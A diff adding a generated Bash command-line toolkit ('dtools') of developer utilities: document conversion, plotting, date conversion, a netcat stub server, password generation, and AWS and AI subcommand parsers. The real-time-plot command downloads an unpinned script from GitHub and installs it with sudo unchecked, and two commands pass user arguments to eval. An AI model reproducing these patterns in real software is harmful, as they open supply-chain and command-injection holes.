mpg321 -q ~/Music/notification-sounds/notify.mp3' + fi +} + +# :command.function +dtools_ntfy_reference_command() { + + # src/commands/ntfy/reference.sh + cmd="$(get_opener) + $cmd "https://docs.ntfy.sh/publish/#message-title" > /dev/null 2>&1 & disown + +} + +# :command.function +dtools_document_convert_command() { + + # src/commands/document/convert.sh + # shellcheck disable=SC2154 + declare file="${args[file]}" + # shellcheck disable=SC2154 + declare source_format="${args[--source-format]}" + # shellcheck disable=SC2154 + declare target_format="${args[--target-format]}" + # shellcheck disable=SC2154 + declare output_file="${args[--output-file]:-${PWD}/${file%%."${source_format}"}.${target_format}}" + + pandoc -f "$source_format" -t "$target_format" -o "$output_file" "$file" -V geometry:margin=1in + +} + +# :command.function +dtools_document_merge_pdf_command() { + + # src/commands/document/merge-pdf.sh + # shellcheck disable=SC2154 + declare output_file="${args[output-file]}" + # shellcheck disable=SC2154 + eval "input_files=(${args[--input-file]:-})" + + pdftk ${input_files[*]} output "$output_file" + +} + +# :command.function +dtools_document_decrypt_pdf_command() { + + # src/commands/document/decrypt-pdf.sh + # shellcheck disable=SC2154 + declare input_file="${args[input-file]}" + # shellcheck disable=SC2154 + declare output_file="${args[--output-file]}" + + qpdf --decrypt "$input_file" "$output_file" + +} + +# :command.function +dtools_git_search_history_command() { + + # src/commands/git/search-history.sh + # shellcheck disable=SC2154 + declare search_string="${args[search-string]}" + + git rev-list --all | ( + while read -r revision; do + git grep -F "$search_string" "$revision" + done + ) + +} + +# :command.function +dtools_plot_command() { + + # src/commands/plot.sh + # shellcheck disable=SC2154 + declare file="${args[--file]}" + declare type="${args[--type]}" + declare use_gui="${args[--gui]}" + declare stack_vertically="${args[--stack-vertically]}" + declare use_multiplot="${args[--multiplot]}" + declare use_loki="${args[--loki]}" + + trap 'rm /dev/shm/tempPlotFile' EXIT + + if [[ -z $file ]]; then + file='-' + fi + + cat "$file" > /dev/shm/tempPlotFile + if [[ $use_loki == "1" ]]; then + loki -m claude:claude-sonnet-4-5-20250929 -e Create a plot of the given values using gnuplot < /dev/shm/tempPlotFile + exit + fi + + multiplot=$(if [[ $(head -1 /dev/shm/tempPlotFile) =~ [0-9]+.+[0-9]+ ]]; then echo "true"; else echo "false"; fi) + + if [[ $use_multiplot == 1 && $multiplot != "true" ]]; then + red_bold "Multiple columns of data are required when using '--multiplot'" + exit 1 + fi + + if [[ $type == "line" ]]; then + if [[ $use_gui == 1 ]]; then + gnuplot -e "set yrange [0:]; plot '/dev/shm/tempPlotFile' with lines" --persist + else + gnuplot -e "set terminal dumb; set yrange [0:]; plot '/dev/shm/tempPlotFile' with lines" + fi + elif [[ $type == "bar" ]]; then + if [[ $use_gui == 1 ]]; then + if [[ $use_multiplot == 1 ]]; then + if [[ $stack_vertically == 1 ]]; then + gnuplot -e "set multiplot layout 2,1; set style fill solid; set boxwidth 0.5; set yrange [0:]; plot '/dev/shm/tempPlotFile' using 1 with boxes; plot '/dev/shm/tempPlotFile' using 2 with boxes; unset multiplot" --persist + else + gnuplot -e "set style fill solid; set boxwidth 0.5; set yrange [0:]; plot '/dev/shm/tempPlotFile' using (\$0-0.25):1 with boxes ls 1, '/dev/shm/tempPlotFile' using (\$0+0.25):2 with boxes ls 2" --persist + fi + else + gnuplot -e "set style fill solid; set boxwidth 0.5; set yrange [0:]; plot '/dev/shm/tempPlotFile' with boxes" --persist + fi + else + gnuplot -e "set terminal dumb; set yrange [0:]; plot '/dev/shm/tempPlotFile' with boxes" + fi + fi + rm /dev/shm/tempPlotFile + +} + +# :command.function +dtools_real_time_plot_command() { + + # src/commands/real-time-plot.sh + if ! (command -v feedgnuplot > /dev/null 2>&1); then + wget https://raw.githubusercontent.com/dkogan/feedgnuplot/master/bin/feedgnuplot + chmod +x feedgnuplot + sudo mv feedgnuplot /usr/local/bin/ + fi + + feedgnuplot --lines --stream --xlen ${1:-30} --xlabel 'Second' --terminal 'dumb 180,40' 2> /dev/null + +} + +# :command.function +dtools_date_to_epoch_command() { + + # src/commands/date-to-epoch.sh + # shellcheck disable=SC2154 + datetime="${args[timestamp]}" + + if [[ $datetime == "-" ]]; then + date +"%s%3N" -f - + else + date -d "$datetime" +"%s%3N" + fi + +} + +# :command.function +dtools_epoch_to_date_command() { + + # src/commands/epoch-to-date.sh + # shellcheck disable=SC2154 + epoch="${args[epoch]}" + + convert-epoch() { + awk '{print substr($0, 0, length($0)-3) "." substr($0, length($0)-2);}' <<< "$1" + } + + if [[ $epoch == "-" ]]; then + read epoch_stdin + date -u -d "@$(convert-epoch "$epoch_stdin")" +"%Y-%m-%d %H:%M:%S" + else + date -u -d "@$(convert-epoch "$epoch")" +"%Y-%m-%d %H:%M:%S" + fi + +} + +# :command.function +dtools_date_to_iso_8601_command() { + + # src/commands/date-to-iso-8601.sh + # shellcheck disable=SC2154 + datetime="${args[date]}" + + if [[ $datetime == "-" ]]; then + date -u +"%Y-%m-%dT%H:%M:%S.%3NZ" -f - + else + date -u +"%Y-%m-%dT%H:%M:%S.%3NZ" -d "$datetime" + fi + +} + +# :command.function +dtools_view_markdown_command() { + + # src/commands/view-markdown.sh + # shellcheck disable=SC2154 + grip -b "${args[file]}" + +} + +# :command.function +dtools_start_simple_server_command() { + + # src/commands/start-simple-server.sh + # shellcheck disable=SC2154 + declare port="${args[--port]}" + + yellow "Starting a server on port '$port'..." + yellow_bold "Stop the server with 'Ctrl+c'" + + while :; do + printf 'HTTP/1.1 200 OK\r\n\r\n' | nc -Nl "$port" + done + +} + +# :command.function +dtools_fzf_command() { + + # src/commands/fzf.sh + set -eo pipefail + # shellcheck disable=SC2154 + declare pre_processing_pipe="${args[--pre-processing]}" + declare target_command="${args[command]}" + declare additional_xargs_arguments="${args[--additional-xargs-arguments]}" + + if [[ -z $pre_processing_pipe ]]; then + # shellcheck disable=SC2154 + eval "fzf --print0 --preview 'batcat {} --style=numbers --color=always' --height=75% --multi --bind '?:toggle-preview,ctrl-a:select-all' --preview-window hidden | xargs -0 $additional_xargs_arguments -o $target_command" + else + # shellcheck disable=SC2154 + eval "fzf --print0 --preview 'batcat {} --style=numbers --color=always' --height=75% --multi --bind '?:toggle-preview,ctrl-a:select-all' --preview-window hidden | $pre_processing_pipe | xargs -0 $additional_xargs_arguments -o $target_command" + fi + +} + +# :command.function +dtools_backup_command() { + + # src/commands/backup.sh + # shellcheck disable=SC2154 + declare item="${args[item]}" + declare backup_dest="${args[--backup-dest]}" + declare move="${args[--move]}" + + if [[ $move == 1 ]]; then + if [[ -d $item ]]; then + if [[ -n $backup_dest ]]; then + yellow_bold "Backing up directory to: ${backup_dest}${item}-bak/. Original directory will no longer exist." + mv -f "$item" "${backup_dest}${item}-bak" + else + yellow_bold "Backing up directory to: ${item}-bak/. Original directory will no longer exist." + mv -f "$item" "${item}-bak" + fi + elif [[ -f $item ]]; then + if [[ -n $backup_dest ]]; then + yellow_bold "Creating backup file: ${backup_dest}${item}.bak. Original file will no longer exist." + mv -f "$item" "${backup_dest}${item}.bak" + else + yellow_bold "Creating backup file: ${item}.bak. Original file will no longer exist." + mv -f "$item" "${item}.bak" + fi + fi + else + if [[ -d $item ]]; then + if [[ -n $backup_dest ]]; then + yellow_bold "Backing up directory to: ${backup_dest}${item}-bak/." + cp -rf "$item" "${backup_dest}${item}-bak" + else + yellow_bold "Backing up directory to: ${item}-bak/." + cp -rf "$item" "${item}-bak" + fi + elif [[ -f $item ]]; then + if [[ -n $backup_dest ]]; then + yellow_bold "Creating backup file: ${backup_dest}${item}.bak." + cp -rf "$item" "${backup_dest}${item}.bak" + else + yellow_bold "Creating backup file: ${item}.bak." + cp -rf "$item" "${item}.bak" + fi + fi + fi + +} + +# :command.function +dtools_generate_password_command() { + + # src/commands/generate-password.sh + # shellcheck disable=SC2154 + if [[ "${args[--copy-to-clipboard]}" == 1 ]]; then + openssl rand -base64 32 | tr -d '\n' | xclip -sel clip + else + openssl rand -base64 32 + fi + +} + +# :command.function +dtools_play_mp3_command() { + + # src/commands/play-mp3.sh + # shellcheck disable=SC2154 + mpg321 -q "${args[sound]}" + +} + +# :command.function +dtools_random_int_command() { + + # src/commands/random-int.sh + # shellcheck disable=SC2154 + declare min="${args[--min]}" + declare max="${args[--max]}" + + echo "$((SRANDOM % (max - min + 1) + min))" + +} + +# :command.function +dtools_random_float_command() { + + # src/commands/random-float.sh + # shellcheck disable=SC2154 + declare min="${args[--min]}" + declare max="${args[--max]}" + declare precision="${args[--precision]}" + + awk -v min="$min" -v max="$max" -v precision="$precision" -f - <<-EOF + BEGIN { + srand(); + printf "%1.*f\n", precision, min + (max-min) * rand() + } + EOF + +} + +# :command.function +dtools_record_shell_command() { + + # src/commands/record-shell.sh + # shellcheck disable=SC2154 + declare output_file="${args[output_file]}" + declare cast_file="${output_file}.cast" + declare gif_file="${output_file}.gif" + declare speed="${args[--speed]}" + declare no_conversion="${args[--no-conversion]}" + + yellow "Starting recording... Press Ctrl-D to finish the recording." + asciinema rec -c "bash --norc --noprofile -c 'PS1=\"\$ \" bash --norc --noprofile'" "$cast_file" + + if [[ ! -f $cast_file ]]; then + red_bold "Error: Recording failed or was cancelled" + exit 1 + fi + + sed -i '$d' "$cast_file" + + if [[ $no_conversion != "1" ]]; then + yellow "Converting to GIF..." + agg --speed "$speed" "$cast_file" "$gif_file" + + yellow "Cleaning up ${cast_file}..." + rm "$cast_file" + + green "Successfully created $gif_file" + else + green "Successfully created $cast_file" + fi + +} + +# :command.parse_requirements +parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --version | -v) + version_command + exit + ;; + + --help | -h) + long_usage=yes + dtools_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action=${1:-} + + case $action in + -*) ;; + + completions) + action="completions" + shift + dtools_completions_parse_requirements "$@" + shift $# + ;; + + update) + action="update" + shift + dtools_update_parse_requirements "$@" + shift $# + ;; + + ai) + action="ai" + shift + dtools_ai_parse_requirements "$@" + shift $# + ;; + + aws) + action="aws" + shift + dtools_aws_parse_requirements "$@" + shift $# + ;; + + gcp) + action="gcp" + shift + dtools_gcp_parse_requirements "$@" + shift $# + ;; + + db) + action="db" + shift + dtools_db_parse_requirements "$@" + shift $# + ;; + + elastic) + action="elastic" + shift + dtools_elastic_parse_requirements "$@" + shift $# + ;; + + java) + action="java" + shift + dtools_java_parse_requirements "$@" + shift $# + ;; + + ansible) + action="ansible" + shift + dtools_ansible_parse_requirements "$@" + shift $# + ;; + + install) + action="install" + shift + dtools_install_parse_requirements "$@" + shift $# + ;; + + clean) + action="clean" + shift + dtools_clean_parse_requirements "$@" + shift $# + ;; + + tui) + action="tui" + shift + dtools_tui_parse_requirements "$@" + shift $# + ;; + + pentest) + action="pentest" + shift + dtools_pentest_parse_requirements "$@" + shift $# + ;; + + video) + action="video" + shift + dtools_video_parse_requirements "$@" + shift $# + ;; + + vm) + action="vm" + shift + dtools_vm_parse_requirements "$@" + shift $# + ;; + + network) + action="network" + shift + dtools_network_parse_requirements "$@" + shift $# + ;; + + ntfy) + action="ntfy" + shift + dtools_ntfy_parse_requirements "$@" + shift $# + ;; + + document) + action="document" + shift + dtools_document_parse_requirements "$@" + shift $# + ;; + + git) + action="git" + shift + dtools_git_parse_requirements "$@" + shift $# + ;; + + plot) + action="plot" + shift + dtools_plot_parse_requirements "$@" + shift $# + ;; + + real-time-plot) + action="real-time-plot" + shift + dtools_real_time_plot_parse_requirements "$@" + shift $# + ;; + + date-to-epoch) + action="date-to-epoch" + shift + dtools_date_to_epoch_parse_requirements "$@" + shift $# + ;; + + epoch-to-date) + action="epoch-to-date" + shift + dtools_epoch_to_date_parse_requirements "$@" + shift $# + ;; + + date-to-iso-8601) + action="date-to-iso-8601" + shift + dtools_date_to_iso_8601_parse_requirements "$@" + shift $# + ;; + + view-markdown) + action="view-markdown" + shift + dtools_view_markdown_parse_requirements "$@" + shift $# + ;; + + start-simple-server) + action="start-simple-server" + shift + dtools_start_simple_server_parse_requirements "$@" + shift $# + ;; + + fzf) + action="fzf" + shift + dtools_fzf_parse_requirements "$@" + shift $# + ;; + + backup) + action="backup" + shift + dtools_backup_parse_requirements "$@" + shift $# + ;; + + generate-password) + action="generate-password" + shift + dtools_generate_password_parse_requirements "$@" + shift $# + ;; + + play-mp3) + action="play-mp3" + shift + dtools_play_mp3_parse_requirements "$@" + shift $# + ;; + + random-int) + action="random-int" + shift + dtools_random_int_parse_requirements "$@" + shift $# + ;; + + random-float) + action="random-float" + shift + dtools_random_float_parse_requirements "$@" + shift $# + ;; + + record-shell) + action="record-shell" + shift + dtools_record_shell_parse_requirements "$@" + shift $# + ;; + + # :command.command_fallback + "") + dtools_usage >&2 + exit 1 + ;; + + *) + printf "invalid command: %s\n" "$action" >&2 + exit 1 + ;; + + esac + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_completions_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_completions_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="completions" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_update_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_update_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="update" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_ai_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_ai_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v llama-cli >/dev/null 2>&1; then + printf "missing dependency: llama-cli\n" >&2 + printf "%s\n\n" "Install with 'brew install llama.cpp'" >&2 + missing_deps=1 + else + deps['llama-cli']="$(command -v llama-cli | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action=${1:-} + + case $action in + -*) ;; + + chat) + action="chat" + shift + dtools_ai_chat_parse_requirements "$@" + shift $# + ;; + + start-llama-server) + action="start-llama-server" + shift + dtools_ai_start_llama_server_parse_requirements "$@" + shift $# + ;; + + open-llama-ui) + action="open-llama-ui" + shift + dtools_ai_open_llama_ui_parse_requirements "$@" + shift $# + ;; + + open-llama-api-docs) + action="open-llama-api-docs" + shift + dtools_ai_open_llama_api_docs_parse_requirements "$@" + shift $# + ;; + + # :command.command_fallback + "") + dtools_ai_usage >&2 + exit 1 + ;; + + *) + printf "invalid command: %s\n" "$action" >&2 + exit 1 + ;; + + esac + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_ai_chat_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_ai_chat_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="ai chat" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --hf-repo | -r) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--hf-repo']="$2" + shift + shift + else + printf "%s\n" "--hf-repo requires an argument: --hf-repo, -r HF_REPO" >&2 + exit 1 + fi + ;; + + # :flag.case + --hf-file | -f) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--hf-file']="$2" + shift + shift + else + printf "%s\n" "--hf-file requires an argument: --hf-file, -f HF_FILE" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.default_assignments + [[ -n ${args['--hf-repo']:-} ]] || args['--hf-repo']="microsoft/Phi-3-mini-4k-instruct-gguf" + [[ -n ${args['--hf-file']:-} ]] || args['--hf-file']="Phi-3-mini-4k-instruct-q4.gguf" + +} + +# :command.parse_requirements +dtools_ai_start_llama_server_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_ai_start_llama_server_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="ai start-llama-server" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --hf-repo | -r) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--hf-repo']="$2" + shift + shift + else + printf "%s\n" "--hf-repo requires an argument: --hf-repo, -r HF_REPO" >&2 + exit 1 + fi + ;; + + # :flag.case + --hf-file | -f) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--hf-file']="$2" + shift + shift + else + printf "%s\n" "--hf-file requires an argument: --hf-file, -f HF_FILE" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.default_assignments + [[ -n ${args['--hf-repo']:-} ]] || args['--hf-repo']="microsoft/Phi-3-mini-4k-instruct-gguf" + [[ -n ${args['--hf-file']:-} ]] || args['--hf-file']="Phi-3-mini-4k-instruct-q4.gguf" + +} + +# :command.parse_requirements +dtools_ai_open_llama_ui_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_ai_open_llama_ui_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="ai open-llama-ui" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.user_filter + filter_error=$(filter_llama_running) + if [[ -n $filter_error ]]; then + echo "$filter_error" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_ai_open_llama_api_docs_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_ai_open_llama_api_docs_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="ai open-llama-api-docs" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.user_filter + filter_error=$(filter_llama_running) + if [[ -n $filter_error ]]; then + echo "$filter_error" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_aws_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_aws_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v aws >/dev/null 2>&1; then + printf "missing dependency: aws\n" >&2 + printf "%s\n\n" "Install the latest version following the instructions at 'https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html'" >&2 + missing_deps=1 + else + deps['aws']="$(command -v aws | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action=${1:-} + + case $action in + -*) ;; + + login) + action="login" + shift + dtools_aws_login_parse_requirements "$@" + shift $# + ;; + + console) + action="console" + shift + dtools_aws_console_parse_requirements "$@" + shift $# + ;; + + shell) + action="shell" + shift + dtools_aws_shell_parse_requirements "$@" + shift $# + ;; + + profile) + action="profile" + shift + dtools_aws_profile_parse_requirements "$@" + shift $# + ;; + + region) + action="region" + shift + dtools_aws_region_parse_requirements "$@" + shift $# + ;; + + toggle-auto-prompt) + action="toggle-auto-prompt" + shift + dtools_aws_toggle_auto_prompt_parse_requirements "$@" + shift $# + ;; + + export-sso-creds) + action="export-sso-creds" + shift + dtools_aws_export_sso_creds_parse_requirements "$@" + shift $# + ;; + + generate-sso-profiles) + action="generate-sso-profiles" + shift + dtools_aws_generate_sso_profiles_parse_requirements "$@" + shift $# + ;; + + ec2) + action="ec2" + shift + dtools_aws_ec2_parse_requirements "$@" + shift $# + ;; + + ssm) + action="ssm" + shift + dtools_aws_ssm_parse_requirements "$@" + shift $# + ;; + + secretsmanager) + action="secretsmanager" + shift + dtools_aws_secretsmanager_parse_requirements "$@" + shift $# + ;; + + logs) + action="logs" + shift + dtools_aws_logs_parse_requirements "$@" + shift $# + ;; + + rds) + action="rds" + shift + dtools_aws_rds_parse_requirements "$@" + shift $# + ;; + + # :command.command_fallback + "") + dtools_aws_usage >&2 + exit 1 + ;; + + *) + printf "invalid command: %s\n" "$action" >&2 + exit 1 + ;; + + esac + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_aws_login_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_aws_login_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="aws login" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --profile | -p) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--profile']="$2" + shift + shift + else + printf "%s\n" "--profile requires an argument: --profile, -p PROFILE" >&2 + exit 1 + fi + ;; + + # :flag.case + --region | -r) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--region']="$2" + shift + shift + else + printf "%s\n" "--region requires an argument: --region, -r REGION" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.default_assignments + [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" + + # :command.validations + # :flag.validations + if [[ -v args['--profile'] ]]; then + validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" + if [[ -n "${validation_output}" ]]; then + printf "validation error in %s:\n%s\n" "--profile, -p PROFILE" "$validation_output" >&2 + exit 1 + fi + fi + + # :command.whitelist_filter + if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then + printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 + exit 1 + fi + + # :command.user_filter + filter_error=$(filter_profile_and_region_variables_set_with_flags) + if [[ -n $filter_error ]]; then + echo "$filter_error" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_aws_console_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_aws_console_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v wmctrl >/dev/null 2>&1; then + printf "missing dependency: wmctrl\n" >&2 + printf "%s\n\n" "Install with 'sudo apt-get install wmctrl'" >&2 + missing_deps=1 + else + deps['wmctrl']="$(command -v wmctrl | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="aws console" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --profile | -p) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--profile']="$2" + shift + shift + else + printf "%s\n" "--profile requires an argument: --profile, -p PROFILE" >&2 + exit 1 + fi + ;; + + # :flag.case + --region | -r) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--region']="$2" + shift + shift + else + printf "%s\n" "--region requires an argument: --region, -r REGION" >&2 + exit 1 + fi + ;; + + # :flag.case + --service | -s) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--service']="$2" + shift + shift + else + printf "%s\n" "--service requires an argument: --service, -s SERVICE" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.default_assignments + [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" + + # :command.validations + # :flag.validations + if [[ -v args['--profile'] ]]; then + validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" + if [[ -n "${validation_output}" ]]; then + printf "validation error in %s:\n%s\n" "--profile, -p PROFILE" "$validation_output" >&2 + exit 1 + fi + fi + + # :command.whitelist_filter + if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then + printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 + exit 1 + fi + + # :command.user_filter + filter_error=$(filter_profile_and_region_variables_set_with_flags) + if [[ -n $filter_error ]]; then + echo "$filter_error" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_aws_shell_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_aws_shell_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="aws shell" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_aws_profile_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_aws_profile_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="aws profile" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + # :argument.case + if [[ -z ${args['profile']+x} ]]; then + args['profile']=$1 + shift + else + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + fi + + ;; + + esac + done + + # :command.required_args_filter + if [[ -z ${args['profile']+x} ]]; then + printf "missing required argument: PROFILE\nusage: dtools aws profile PROFILE\n" >&2 + + exit 1 + fi + + # :command.validations + # :argument.validations + if [[ -v args['profile'] ]]; then + 